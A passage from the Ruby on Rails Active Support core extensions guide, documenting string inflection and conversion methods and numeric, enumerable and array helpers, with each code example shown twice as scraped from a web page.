"hello".at(0) # => "h" "hello".at(4) # => "o" "hello".at(-1) # => "o" "hello".at(10) # => nil Copiar

Defined in active_support/core_ext/string/access.rb.

5.11.2 from(position)

The from method returns the substring of the string starting at position position:

"hello".from(0)  # => "hello"
"hello".from(2)  # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => nil

"hello".from(0) # => "hello" "hello".from(2) # => "llo" "hello".from(-2) # => "lo" "hello".from(10) # => nil Copiar

Defined in active_support/core_ext/string/access.rb.

5.11.3 to(position)

The to method returns the substring of the string up to position position:

"hello".to(0)  # => "h"
"hello".to(2)  # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"

"hello".to(0) # => "h" "hello".to(2) # => "hel" "hello".to(-2) # => "hell" "hello".to(10) # => "hello" Copiar

Defined in active_support/core_ext/string/access.rb.

5.11.4 first(limit = 1)

The first method returns a substring containing the first limit characters of the string.

The call str.first(n) is equivalent to str.to(n-1) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.11.5 last(limit = 1)

The last method returns a substring containing the last limit characters of the string.

The call str.last(n) is equivalent to str.from(-n) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.12 Inflections

5.12.1 pluralize

The method pluralize returns the plural of its receiver:

"table".pluralize     # => "tables"
"ruby".pluralize      # => "rubies"
"equipment".pluralize # => "equipment"

"table".pluralize # => "tables" "ruby".pluralize # => "rubies" "equipment".pluralize # => "equipment" Copiar

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in config/initializers/inflections.rb. This file is generated by default, by the rails new command and has instructions in comments.

pluralize can also take an optional count parameter. If count == 1 the singular form will be returned. For any other value of count the plural form will be returned:

"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"

"dude".pluralize(0) # => "dudes" "dude".pluralize(1) # => "dude" "dude".pluralize(2) # => "dudes" Copiar

Active Record uses this method to compute the default table name that corresponds to a model:

# active_record/model_schema.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
pluralize_table_names ? table_name.pluralize : table_name
end

# active_record/model_schema.rb def undecorated_table_name(class_name = base_class.name) table_name = class_name.to_s.demodulize.underscore pluralize_table_names ? table_name.pluralize : table_name end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.2 singularize

The singularize method is the inverse of pluralize:

"tables".singularize    # => "table"
"rubies".singularize    # => "ruby"
"equipment".singularize # => "equipment"

"tables".singularize # => "table" "rubies".singularize # => "ruby" "equipment".singularize # => "equipment" Copiar

Associations compute the name of the corresponding default associated class using this method:

# active_record/reflection.rb
def derive_class_name
class_name = name.to_s.camelize
class_name = class_name.singularize if collection?
class_name
end

# active_record/reflection.rb def derive_class_name class_name = name.to_s.camelize class_name = class_name.singularize if collection? class_name end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.3 camelize

The method camelize returns its receiver in camel case:

"product".camelize    # => "Product"
"admin_user".camelize # => "AdminUser"

"product".camelize # => "Product" "admin_user".camelize # => "AdminUser" Copiar

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:

"backoffice/session".camelize # => "Backoffice::Session"

"backoffice/session".camelize # => "Backoffice::Session" Copiar

For example, Action Pack uses this method to load the class that provides a certain session store:

# action_controller/metal/session_management.rb
def session_store=(store)
@@session_store = store.is_a?(Symbol) ?
ActionDispatch::Session.const_get(store.to_s.camelize) :
store
end

# action_controller/metal/session_management.rb def session_store=(store) @@session_store = store.is_a?(Symbol) ? ActionDispatch::Session.const_get(store.to_s.camelize) : store end Copiar

camelize accepts an optional argument, it can be :upper (default), or :lower. With the latter the first letter becomes lowercase:

"visual_effect".camelize(:lower) # => "visualEffect"

"visual_effect".camelize(:lower) # => "visualEffect" Copiar

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of camelize as the inverse of underscore, though there are cases where that does not hold: "SSLError".underscore.camelize gives back "SslError". To support cases such as this, Active Support allows you to specify acronyms in config/initializers/inflections.rb:

ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end

"SSLError".underscore.camelize # => "SSLError"

ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end "SSLError".underscore.camelize # => "SSLError" Copiar

camelize is aliased to camelcase.

Defined in active_support/core_ext/string/inflections.rb.

5.12.4 underscore

The method underscore goes the other way around, from camel case to paths:

"Product".underscore   # => "product"
"AdminUser".underscore # => "admin_user"

"Product".underscore # => "product" "AdminUser".underscore # => "admin_user" Copiar

Also converts "::" back to "/":

"Backoffice::Session".underscore # => "backoffice/session"

"Backoffice::Session".underscore # => "backoffice/session" Copiar

and understands strings that start with lowercase:

"visualEffect".underscore # => "visual_effect"

"visualEffect".underscore # => "visual_effect" Copiar

underscore accepts no argument though.

Rails class and module autoloading uses underscore to infer the relative path without extension of a file that would define a given missing constant:

# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
# ...
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
# ...
end

# active_support/dependencies.rb def load_missing_constant(from_mod, const_name) # ... qualified_name = qualified_name_for from_mod, const_name path_suffix = qualified_name.underscore # ... end Copiar

As a rule of thumb you can think of underscore as the inverse of camelize, though there are cases where that does not hold. For example, "SSLError".underscore.camelize gives back "SslError".

Defined in active_support/core_ext/string/inflections.rb.

5.12.5 titleize

The method titleize capitalizes the words in the receiver:

"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize     # => "Fermat's Enigma"

"alice in wonderland".titleize # => "Alice In Wonderland" "fermat's enigma".titleize # => "Fermat's Enigma" Copiar

titleize is aliased to titlecase.

Defined in active_support/core_ext/string/inflections.rb.

5.12.6 dasherize

The method dasherize replaces the underscores in the receiver with dashes:

"name".dasherize         # => "name"
"contact_data".dasherize # => "contact-data"

"name".dasherize # => "name" "contact_data".dasherize # => "contact-data" Copiar

The XML serializer of models uses this method to dasherize node names:

# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end

# active_model/serializers/xml.rb def reformat_name(name) name = name.camelize if camelize? dasherize? ? name.dasherize : name end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.7 demodulize

Given a string with a qualified constant name, demodulize returns the very constant name, that is, the rightmost part of it:

"Product".demodulize                        # => "Product"
"Backoffice::UsersController".demodulize    # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
"::Inflections".demodulize                  # => "Inflections"
"".demodulize                               # => ""

"Product".demodulize # => "Product" "Backoffice::UsersController".demodulize # => "UsersController" "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" "::Inflections".demodulize # => "Inflections" "".demodulize # => "" Copiar

Active Record for example uses this method to compute the name of a counter cache column:

# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
"#{active_record.name.demodulize.underscore.pluralize}_count"
elsif options[:counter_cache]
options[:counter_cache]
end
end

# active_record/reflection.rb def counter_cache_column if options[:counter_cache] == true "#{active_record.name.demodulize.underscore.pluralize}_count" elsif options[:counter_cache] options[:counter_cache] end end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.8 deconstantize

Given a string with a qualified constant reference expression, deconstantize removes the rightmost segment, generally leaving the name of the constant's container:

"Product".deconstantize                        # => ""
"Backoffice::UsersController".deconstantize    # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"

"Product".deconstantize # => "" "Backoffice::UsersController".deconstantize # => "Backoffice" "Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.9 parameterize

The method parameterize normalizes its receiver in a way that can be used in pretty URLs.

"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"

"John Smith".parameterize # => "john-smith" "Kurt Gödel".parameterize # => "kurt-godel" Copiar

To preserve the case of the string, set the preserve_case argument to true. By default, preserve_case is set to false.

"John Smith".parameterize(preserve_case: true) # => "John-Smith"
"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"

"John Smith".parameterize(preserve_case: true) # => "John-Smith" "Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel" Copiar

To use a custom separator, override the separator argument.

"John Smith".parameterize(separator: "_") # => "john\_smith"
"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"

"John Smith".parameterize(separator: "_") # => "john\_smith" "Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel" Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.10 tableize

The method tableize is underscore followed by pluralize.

"Person".tableize      # => "people"
"Invoice".tableize     # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"

"Person".tableize # => "people" "Invoice".tableize # => "invoices" "InvoiceLine".tableize # => "invoice_lines" Copiar

As a rule of thumb, tableize returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight tableize indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

Defined in active_support/core_ext/string/inflections.rb.

5.12.11 classify

The method classify is the inverse of tableize. It gives you the class name corresponding to a table name:

"people".classify        # => "Person"
"invoices".classify      # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"

"people".classify # => "Person" "invoices".classify # => "Invoice" "invoice_lines".classify # => "InvoiceLine" Copiar

The method understands qualified table names:

"highrise_production.companies".classify # => "Company"

"highrise_production.companies".classify # => "Company" Copiar

Note that classify returns a class name as a string. You can get the actual class object by invoking constantize on it, explained next.

Defined in active_support/core_ext/string/inflections.rb.

5.12.12 constantize

The method constantize resolves the constant reference expression in its receiver:

"Integer".constantize # => Integer

module M
X = 1
end
"M::X".constantize # => 1

"Integer".constantize # => Integer module M X = 1 end "M::X".constantize # => 1 Copiar

If the string evaluates to no known constant, or its content is not even a valid constant name, constantize raises NameError.

Constant name resolution by constantize starts always at the top-level Object even if there is no leading "::".

X = :in_Object
module M
X = :in_M

X                 # => :in_M
"::X".constantize # => :in_Object
"X".constantize   # => :in_Object (!)
end

X = :in_Object module M X = :in_M X # => :in_M "::X".constantize # => :in_Object "X".constantize # => :in_Object (!) end Copiar

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using constantize:

# action_mailer/test_case.rb
def determine_default_mailer(name)
name.delete_suffix("Test").constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end

# action_mailer/test_case.rb def determine_default_mailer(name) name.delete_suffix("Test").constantize rescue NameError => e raise NonInferrableMailerError.new(name) end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.13 humanize

The method humanize tweaks an attribute name for display to end users.

Specifically, it performs these transformations:

- Applies human inflection rules to the argument.

- Deletes leading underscores, if any.

- Removes a "_id" suffix if present.

- Replaces underscores with spaces, if any.

- Downcases all words except acronyms.

- Capitalizes the first word.

The capitalization of the first word can be turned off by setting the :capitalize option to false (default is true).

"name".humanize                         # => "Name"
"author_id".humanize                    # => "Author"
"author_id".humanize(capitalize: false) # => "author"
"comments_count".humanize               # => "Comments count"
"_id".humanize                          # => "Id"

"name".humanize # => "Name" "author_id".humanize # => "Author" "author_id".humanize(capitalize: false) # => "author" "comments_count".humanize # => "Comments count" "_id".humanize # => "Id" Copiar

If "SSL" was defined to be an acronym:

'ssl_error'.humanize # => "SSL error"

'ssl_error'.humanize # => "SSL error" Copiar

The helper method full_messages uses humanize as a fallback to include attribute names:

def full_messages
map { |attribute, message| full_message(attribute, message) }
end

def full_message
# ...
attr_name = attribute.to_s.tr('.', '_').humanize
attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
# ...
end

def full_messages map { |attribute, message| full_message(attribute, message) } end def full_message # ... attr_name = attribute.to_s.tr('.', '_').humanize attr_name = @base.class.human_attribute_name(attribute, default: attr_name) # ... end Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.12.14 foreign_key

The method foreign_key gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":

"User".foreign_key           # => "user_id"
"InvoiceLine".foreign_key    # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"

"User".foreign_key # => "user_id" "InvoiceLine".foreign_key # => "invoice_line_id" "Admin::Session".foreign_key # => "session_id" Copiar

Pass a false argument if you do not want the underscore in "_id":

"User".foreign_key(false) # => "userid"

"User".foreign_key(false) # => "userid" Copiar

Associations use this method to infer foreign keys, for example has_one and has_many do this:

# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key

# active_record/associations.rb foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key Copiar

Defined in active_support/core_ext/string/inflections.rb.

5.13 Conversions

5.13.1 to_date, to_time, to_datetime

The methods to_date, to_time, and to_datetime are basically convenience wrappers around Date._parse:

"2010-07-27".to_date              # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000

"2010-07-27".to_date # => Tue, 27 Jul 2010 "2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200 "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 Copiar

to_time receives an optional argument :utc or :local, to indicate which time zone you want the time in:

"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200

"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC "2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 Copiar

Default is :local.

Please refer to the documentation of Date._parse for further details.

The three of them return nil for blank receivers.

Defined in active_support/core_ext/string/conversions.rb.

6 Extensions to Symbol

6.1 starts_with? and ends_with?

Active Support defines 3rd person aliases of Symbol#start_with? and Symbol#end_with?:

:foo.starts_with?("f") # => true
:foo.ends_with?("o")   # => true

:foo.starts_with?("f") # => true :foo.ends_with?("o") # => true Copiar

Defined in active_support/core_ext/symbol/starts_ends_with.rb.

7 Extensions to Numeric

7.1 Bytes

All numbers respond to these methods:

- bytes

- kilobytes

- megabytes

- gigabytes

- terabytes

- petabytes

- exabytes

They return the corresponding amount of bytes, using a conversion factor of 1024:

2.kilobytes   # => 2048
3.megabytes   # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes   # => -4611686018427387904

2.kilobytes # => 2048 3.megabytes # => 3145728 3.5.gigabytes # => 3758096384 -4.exabytes # => -4611686018427387904 Copiar

Singular forms are aliased so you are able to say:

1.megabyte # => 1048576

1.megabyte # => 1048576 Copiar

Defined in active_support/core_ext/numeric/bytes.rb.

7.2 Time

The following methods:

- seconds

- minutes

- hours

- days

- weeks

- fortnights

enable time declarations and calculations, like 45.minutes + 2.hours + 4.weeks. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with from_now, ago, etc, for precise date calculations. For example:

# equivalent to Time.current.advance(days: 1)
1.day.from_now

# equivalent to Time.current.advance(weeks: 2)
2.weeks.from_now

# equivalent to Time.current.advance(days: 4, weeks: 5)
(4.days + 5.weeks).from_now

# equivalent to Time.current.advance(days: 1) 1.day.from_now # equivalent to Time.current.advance(weeks: 2) 2.weeks.from_now # equivalent to Time.current.advance(days: 4, weeks: 5) (4.days + 5.weeks).from_now Copiar

For other durations please refer to the time extensions to Integer.

Defined in active_support/core_ext/numeric/time.rb.

7.3 Formatting

Enables the formatting of numbers in a variety of ways.

Produce a string representation of a number as a telephone number:

5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
# => 123-555-1234
1235551234.to_s(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_s(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_s(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_s(:phone, country_code: 1)
# => +1-123-555-1234

5551234.to_s(:phone) # => 555-1234 1235551234.to_s(:phone) # => 123-555-1234 1235551234.to_s(:phone, area_code: true) # => (123) 555-1234 1235551234.to_s(:phone, delimiter: " ") # => 123 555 1234 1235551234.to_s(:phone, area_code: true, extension: 555) # => (123) 555-1234 x 555 1235551234.to_s(:phone, country_code: 1) # => +1-123-555-1234 Copiar

Produce a string representation of a number as currency:

1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
1234567890.506.to_s(:currency)                # => $1,234,567,890.51
1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506

1234567890.50.to_s(:currency) # => $1,234,567,890.50 1234567890.506.to_s(:currency) # => $1,234,567,890.51 1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506 Copiar

Produce a string representation of a number as a percentage:

100.to_s(:percentage)
# => 100.000%
100.to_s(:percentage, precision: 0)
# => 100%
1000.to_s(:percentage, delimiter: '.', separator: ',')
# => 1.000,000%
302.24398923423.to_s(:percentage, precision: 5)
# => 302.24399%

100.to_s(:percentage) # => 100.000% 100.to_s(:percentage, precision: 0) # => 100% 1000.to_s(:percentage, delimiter: '.', separator: ',') # => 1.000,000% 302.24398923423.to_s(:percentage, precision: 5) # => 302.24399% Copiar

Produce a string representation of a number in delimited form:

12345678.to_s(:delimited)                     # => 12,345,678
12345678.05.to_s(:delimited)                  # => 12,345,678.05
12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05

12345678.to_s(:delimited) # => 12,345,678 12345678.05.to_s(:delimited) # => 12,345,678.05 12345678.to_s(:delimited, delimiter: ".") # => 12.345.678 12345678.to_s(:delimited, delimiter: ",") # => 12,345,678 12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05 Copiar

Produce a string representation of a number rounded to a precision:

111.2345.to_s(:rounded)                     # => 111.235
111.2345.to_s(:rounded, precision: 2)       # => 111.23
13.to_s(:rounded, precision: 5)             # => 13.00000
389.32314.to_s(:rounded, precision: 0)      # => 389
111.2345.to_s(:rounded, significant: true)  # => 111

111.2345.to_s(:rounded) # => 111.235 111.2345.to_s(:rounded, precision: 2) # => 111.23 13.to_s(:rounded, precision: 5) # => 13.00000 389.32314.to_s(:rounded, precision: 0) # => 389 111.2345.to_s(:rounded, significant: true) # => 111 Copiar

Produce a string representation of a number as a human-readable number of bytes:

123.to_s(:human_size)                  # => 123 Bytes
1234.to_s(:human_size)                 # => 1.21 KB
12345.to_s(:human_size)                # => 12.1 KB
1234567.to_s(:human_size)              # => 1.18 MB
1234567890.to_s(:human_size)           # => 1.15 GB
1234567890123.to_s(:human_size)        # => 1.12 TB
1234567890123456.to_s(:human_size)     # => 1.1 PB
1234567890123456789.to_s(:human_size)  # => 1.07 EB

123.to_s(:human_size) # => 123 Bytes 1234.to_s(:human_size) # => 1.21 KB 12345.to_s(:human_size) # => 12.1 KB 1234567.to_s(:human_size) # => 1.18 MB 1234567890.to_s(:human_size) # => 1.15 GB 1234567890123.to_s(:human_size) # => 1.12 TB 1234567890123456.to_s(:human_size) # => 1.1 PB 1234567890123456789.to_s(:human_size) # => 1.07 EB Copiar

Produce a string representation of a number in human-readable words:

123.to_s(:human)               # => "123"
1234.to_s(:human)              # => "1.23 Thousand"
12345.to_s(:human)             # => "12.3 Thousand"
1234567.to_s(:human)           # => "1.23 Million"
1234567890.to_s(:human)        # => "1.23 Billion"
1234567890123.to_s(:human)     # => "1.23 Trillion"
1234567890123456.to_s(:human)  # => "1.23 Quadrillion"

123.to_s(:human) # => "123" 1234.to_s(:human) # => "1.23 Thousand" 12345.to_s(:human) # => "12.3 Thousand" 1234567.to_s(:human) # => "1.23 Million" 1234567890.to_s(:human) # => "1.23 Billion" 1234567890123.to_s(:human) # => "1.23 Trillion" 1234567890123456.to_s(:human) # => "1.23 Quadrillion" Copiar

Defined in active_support/core_ext/numeric/conversions.rb.

8 Extensions to Integer

8.1 multiple_of?

The method multiple_of? tests whether an integer is multiple of the argument:

2.multiple_of?(1) # => true
1.multiple_of?(2) # => false

2.multiple_of?(1) # => true 1.multiple_of?(2) # => false Copiar

Defined in active_support/core_ext/integer/multiple.rb.

8.2 ordinal

The method ordinal returns the ordinal suffix string corresponding to the receiver integer:

1.ordinal    # => "st"
2.ordinal    # => "nd"
53.ordinal   # => "rd"
2009.ordinal # => "th"
-21.ordinal  # => "st"
-134.ordinal # => "th"

1.ordinal # => "st" 2.ordinal # => "nd" 53.ordinal # => "rd" 2009.ordinal # => "th" -21.ordinal # => "st" -134.ordinal # => "th" Copiar

Defined in active_support/core_ext/integer/inflections.rb.

8.3 ordinalize

The method ordinalize returns the ordinal string corresponding to the receiver integer. In comparison, note that the ordinal method returns only the suffix string.

1.ordinalize    # => "1st"
2.ordinalize    # => "2nd"
53.ordinalize   # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize  # => "-21st"
-134.ordinalize # => "-134th"

1.ordinalize # => "1st" 2.ordinalize # => "2nd" 53.ordinalize # => "53rd" 2009.ordinalize # => "2009th" -21.ordinalize # => "-21st" -134.ordinalize # => "-134th" Copiar

Defined in active_support/core_ext/integer/inflections.rb.

8.4 Time

The following methods:

- months

- years

enable time declarations and calculations, like 4.months + 5.years. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with from_now, ago, etc, for precise date calculations. For example:

# equivalent to Time.current.advance(months: 1)
1.month.from_now

# equivalent to Time.current.advance(years: 2)
2.years.from_now

# equivalent to Time.current.advance(months: 4, years: 5)
(4.months + 5.years).from_now

# equivalent to Time.current.advance(months: 1) 1.month.from_now # equivalent to Time.current.advance(years: 2) 2.years.from_now # equivalent to Time.current.advance(months: 4, years: 5) (4.months + 5.years).from_now Copiar

For other durations please refer to the time extensions to Numeric.

Defined in active_support/core_ext/integer/time.rb.

9 Extensions to BigDecimal

9.1 to_s

The method to_s provides a default specifier of "F". This means that a simple call to to_s will result in floating point representation instead of engineering notation:

BigDecimal(5.00, 6).to_s       # => "5.0"

BigDecimal(5.00, 6).to_s # => "5.0" Copiar

and that symbol specifiers are also supported:

BigDecimal(5.00, 6).to_s(:db)  # => "5.0"

BigDecimal(5.00, 6).to_s(:db) # => "5.0" Copiar

Engineering notation is still supported:

BigDecimal(5.00, 6).to_s("e")  # => "0.5E1"

BigDecimal(5.00, 6).to_s("e") # => "0.5E1" Copiar

10 Extensions to Enumerable

10.1 sum

The method sum adds the elements of an enumerable:

[1, 2, 3].sum # => 6
(1..100).sum  # => 5050

[1, 2, 3].sum # => 6 (1..100).sum # => 5050 Copiar

Addition only assumes the elements respond to +:

[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum             # => "foobarbaz"
{a: 1, b: 2, c: 3}.sum          # => [:a, 1, :b, 2, :c, 3]

[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] %w(foo bar baz).sum # => "foobarbaz" {a: 1, b: 2, c: 3}.sum # => [:a, 1, :b, 2, :c, 3] Copiar

The sum of an empty collection is zero by default, but this is customizable:

[].sum    # => 0
[].sum(1) # => 1

[].sum # => 0 [].sum(1) # => 1 Copiar

If a block is given, sum becomes an iterator that yields the elements of the collection and sums the returned values:

(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum    # => 30

(1..5).sum {|n| n * 2 } # => 30 [2, 4, 6, 8, 10].sum # => 30 Copiar

The sum of an empty receiver can be customized in this form as well:

[].sum(1) {|n| n**3} # => 1

[].sum(1) {|n| n**3} # => 1 Copiar

Defined in active_support/core_ext/enumerable.rb.

10.2 index_by

The method index_by generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}

invoices.index_by(&:number) # => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...} Copiar

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

Defined in active_support/core_ext/enumerable.rb.

10.3 index_with

The method index_with generates a hash with the elements of an enumerable as keys. The value is either a passed default or returned in a block.

post = Post.new(title: "hey there", body: "what's up?")

%i( title body ).index_with { |attr_name| post.public_send(attr_name) }
# => { title: "hey there", body: "what's up?" }

WEEKDAYS.index_with(Interval.all_day)
# => { monday: [ 0, 1440 ], … }

post = Post.new(title: "hey there", body: "what's up?") %i( title body ).index_with { |attr_name| post.public_send(attr_name) } # => { title: "hey there", body: "what's up?" } WEEKDAYS.index_with(Interval.all_day) # => { monday: [ 0, 1440 ], … } Copiar

Defined in active_support/core_ext/enumerable.rb.

10.4 many?

The method many? is shorthand for collection.size > 1:

<% if pages.many? %>
<%= pagination_links %>
<% end %>

<% if pages.many? %> <%= pagination_links %> <% end %> Copiar

If an optional block is given, many? only takes into account those elements that return true:

@see_more = videos.many? {|video| video.category == params[:category]}

@see_more = videos.many? {|video| video.category == params[:category]} Copiar

Defined in active_support/core_ext/enumerable.rb.

10.5 exclude?

The predicate exclude? tests whether a given object does not belong to the collection. It is the negation of the built-in include?:

to_visit << node if visited.exclude?(node)

to_visit << node if visited.exclude?(node) Copiar

Defined in active_support/core_ext/enumerable.rb.

10.6 including

The method including returns a new enumerable that includes the passed elements:

[ 1, 2, 3 ].including(4, 5)                    # => [ 1, 2, 3, 4, 5 ]
["David", "Rafael"].including %w[ Aaron Todd ] # => ["David", "Rafael", "Aaron", "Todd"]

[ 1, 2, 3 ].including(4, 5) # => [ 1, 2, 3, 4, 5 ] ["David", "Rafael"].including %w[ Aaron Todd ] # => ["David", "Rafael", "Aaron", "Todd"] Copiar

Defined in active_support/core_ext/enumerable.rb.

10.7 excluding

The method excluding returns a copy of an enumerable with the specified elements removed:

["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]

["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"] Copiar

excluding is aliased to without.

Defined in active_support/core_ext/enumerable.rb.

10.8 pluck

The method pluck extracts the given key from each element:

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) # => [[1, "David"], [2, "Rafael"]]

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"] [{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) # => [[1, "David"], [2, "Rafael"]] Copiar

Defined in active_support/core_ext/enumerable.rb.

10.9 pick

The method pick extracts the given key from the first element:

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name) # => "David"
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name) # => [1, "David"]

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name) # => "David" [{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name) # => [1, "David"] Copiar

Defined in active_support/core_ext/enumerable.rb.

11 Extensions to Array

11.1 Accessing

Active Support augments the API of arrays to ease certain ways of accessing them. For example, to returns the subarray of elements up to the one at the passed index:

%w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7)          # => []

%w(a b c d).to(2) # => ["a", "b", "c"] [].to(7) # => [] Copiar

Similarly, from returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

%w(a b c d).from(2)  # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0)           # => []

%w(a b c d).from(2) # => ["c", "d"] %w(a b c d).from(10) # => [] [].from(0) # => [] Copiar

The method including returns a new array that includes the passed elements:

[ 1, 2, 3 ].including(4, 5)          # => [ 1, 2, 3, 4, 5 ]
[ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]

[ 1, 2, 3 ].including(4, 5) # => [ 1, 2, 3, 4, 5 ] [ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ] Copiar

The method excluding returns a copy of the Array excluding the specified elements. This is an optimization of Enumerable#excluding that uses Array#- instead of Array#reject for performance reasons.

["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
[ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ])                  # => [ [ 0, 1 ] ]

["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"] [ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ]) # => [ [ 0, 1 ] ] Copiar

The methods second, third, fourth, and fifth return the corresponding element, as do second_to_last and third_to_last (first and last are built-in). Thanks to social wisdom and positive constructiveness all around, forty_two is also available.

%w(a b c d).third # => "c"
%w(a b c d).fifth # => nil

%w(a b c d).third # => "c" %w(a b c d).fifth # => nil Copiar

Defined in active_support/core_ext/array/access.rb.

11.2 Extracting

The method extract! removes and returns the elements for which the block returns a true value. If no block is given, an Enumerator is returned instead.

numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
numbers # => [0, 2, 4, 6, 8]

numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9] numbers # => [0, 2, 4, 6, 8] Copiar

Defined in active_support/core_ext/array/extract.rb.

11.3 Options Extraction

When the last argument in a method call is a hash, except perhaps for a &block argument, Ruby allows you to omit the brackets:

User.exists?(email: params[:email])

User.exists?(email: params[:email]) Copiar

